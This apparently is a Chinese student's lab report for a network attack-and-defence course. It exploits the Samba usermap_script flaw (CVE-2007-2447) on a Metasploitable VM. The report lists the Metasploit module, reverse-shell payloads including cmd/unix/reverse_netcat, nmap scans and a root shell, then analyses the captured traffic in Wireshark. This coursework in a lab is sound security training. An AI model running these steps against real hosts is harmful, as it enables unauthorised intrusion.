20253916 2025-2026-2 《网络攻防实践》实践7报告

1.实践内容

核心围绕 Linux 系统远程渗透与攻防对抗展开,将理论知识与实操实践紧密结合,逐步完善了 Linux 攻防的知识体系。理论层面,我重点学习了 Linux 系统中 Samba 服务的工作原理,深入理解了 Usermap_script 安全漏洞的成因 —— 由于 Samba 服务配置不当,攻击者可通过构造恶意用户名触发漏洞,执行任意系统命令;同时系统掌握了 Metasploit 框架的使用方法,包括漏洞模块的搜索、载荷的选择与配置、渗透参数的设置以及远程 Shell 的获取与管理。此外,在攻防对抗相关学习中,还了解了攻击方常用的 Linux 漏洞利用思路、提权方法,以及防守方通过 tcpdump、Wireshark、Snort 等工具进行流量监听、攻击分析与溯源的核心技巧。
实操层面,从基础的 Metasploit 操作入手,逐步熟悉了 msfconsole 控制台的使用命令,掌握了 Linux 远程渗透的完整流程;同时提前练习了 Wireshark 的流量过滤、TCP 流跟踪以及 Snort 的入侵检测配置,为后续的攻防对抗实践做好了充分准备,也深刻体会到 Linux 系统与 Windows 系统渗透攻击的差异。
(一)使用 Metasploit 进行 Linux 远程渗透攻击
(二)攻防对抗实践

2.实践过程

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

虚拟机 IP
Kali 192.168.200.4
Linux MetaSploitable 192.168.200.123
  • 使用命令:msfconsole启动metaspolit,使用命令:info exploit/multi/samba/usermap_script查看相关信息
    image

image

  • 进入该漏洞模块的使用

image

  • 选择模块,查看payloads,使用命令set payload 18选择18号模式:
    1777893139720

  • show options查看参数,使用命令:set RHOST 192.168.200.123设置靶机IP;使用命令:set LHOST 192.168.200.4 设置攻击机IP

image

  • 输入:exploit进行攻击,通过ifconfig确认正确地得到shell,使用命令whoami确认获得的权限为root

image

(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

  • 使用nmap -sV 192.168.200.123 扫描目标主机的开放端口与版本号等信息

image

  • 使用nmap -p 139,445 --script smb-vuln* 192.168.200.123扫描目标主机存在的漏洞

image

靶机的 SMB 服务端口开放,可进行后续渗透攻击

  • 使用nmap -p 139,445 -sV 192.168.200.123获取 SMB 服务版本

image

结果显示目标主机的 139 和 445 端口均处于开放状态,运行的是 Samba smbd 3.X-4.X 版本服务,该版本范围包含本次实验所利用的 Usermap_script 漏洞(CVE-2007-2447)的受影响版本,验证了攻击的可行性。

  • 在执行攻击前,新开一个Kali Linux终端,准备捕获网络流量。 执行抓包命令,输入Kali默认密码kali:
    sudo tcpdump -i eth0 host 192.168.200.123 -w samba_attack.pcap

image

保持抓包终端运行,回到MSF终端重新执行完整的攻击流程,并在获取Shell后执行上述验证命令。攻击全部完成后,在抓包终端按下Ctrl+C停止抓包。本次共捕获39个数据包,无丢包,数据包文件samba_attack.pcap保存在Kali的家目录中。

  • 在之前终端运行端口执行exploit进行渗透攻击模块;
    1777896709323

  • 启动Wireshark,通过文件→打开导入捕获的samba_attack.pcap文件。在顶部过滤栏输入以下过滤语句,只显示攻击机与靶机之间的流量:

ip.addr == 192.168.200.4 && ip.addr == 192.168.200.123

image

Wireshark流量过滤界面

从过滤后的流量中可以清晰看到:

源IP地址:192.168.200.4(攻击机)
目的IP地址:192.168.200.123(靶机)
目标端口:4444
主要协议:TCP、SMB协议
在流1中,追踪TCP,可以看到完整的攻击交互过程

1777897235163

3.学习中遇到的问题及解决

  • 问题1:攻击载荷(Payload)体积过大,超过了目标端口 139(SMB 服务)漏洞能容纳的空间限制,导致编码 / 传输失败,是 Metasploit 中典型的Payload 空间不足问题。
    image

  • 问题1解决方案:更换命令 set payload cmd/unix/reverse_netcat

4.实践总结

本次实验顺利完成了全部预设任务,具体总结如下:
实验成果:成功掌握了 Metasploit 框架的基本使用方法,能够独立完成 Samba 服务 Usermap_script 漏洞的渗透攻击,熟练配置攻击模块、载荷与参数,成功获取 Linux 靶机的远程访问权限,并完成 root 权限提升;在攻防对抗中,既能作为攻击方完成漏洞利用与提权,也能作为防守方通过 Wireshark、Snort 等工具,完成流量监听、攻击分析与信息提取,实现了攻防视角的双向提升。
实验收获:深入理解了 Linux 系统 Samba 服务漏洞的利用原理,掌握了 Linux 远程渗透的完整流程,熟悉了 Metasploit 不同载荷的选择技巧(正向 / 反向连接的适用场景);同时提升了流量分析与入侵检测能力,能够通过工具提取攻击关键信息,理解了攻防对抗中 “攻” 与 “防” 的核心逻辑,进一步巩固了网络攻防的理论知识与实操技能。
存在不足:在 Linux 提权环节,对 SUID 文件、sudo 权限等提权方法的掌握不够熟练,起初未能快速找到可利用的提权工具,花费了一定时间;作为防守方时,对 Snort 自定义规则的配置不够熟悉,只能依赖默认规则库进行检测,难以识别一些自定义的攻击载荷;此外,对 Metasploit 高级模块的使用还不够了解,后续需要进一步学习。

posted @ 2026-05-04 20:26  憋不讲李  阅读(13)  评论(0)    收藏  举报